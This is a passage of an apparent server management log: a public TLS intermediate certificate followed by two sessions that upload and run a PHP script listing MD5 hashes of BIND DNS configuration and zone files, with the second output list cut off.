-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-03-02 15:37:16: Establishing a connection
2026-03-02 15:37:16: 

PUT: /tmp/pkp117461

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-02 15:37:16: 

runuser -l bind -s /bin/bash -c '/tmp/pkp117461; rm /tmp/pkp117461'

2026-03-02 15:37:17: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-02 16:19:24: Establishing a connection
2026-03-02 16:19:25: 

PUT: /tmp/pkp442411

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-02 16:19:25: 

runuser -l bind -s /bin/bash -c '/tmp/pkp442411; rm /tmp/pkp442411'

2026-03-02 16:19:25: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
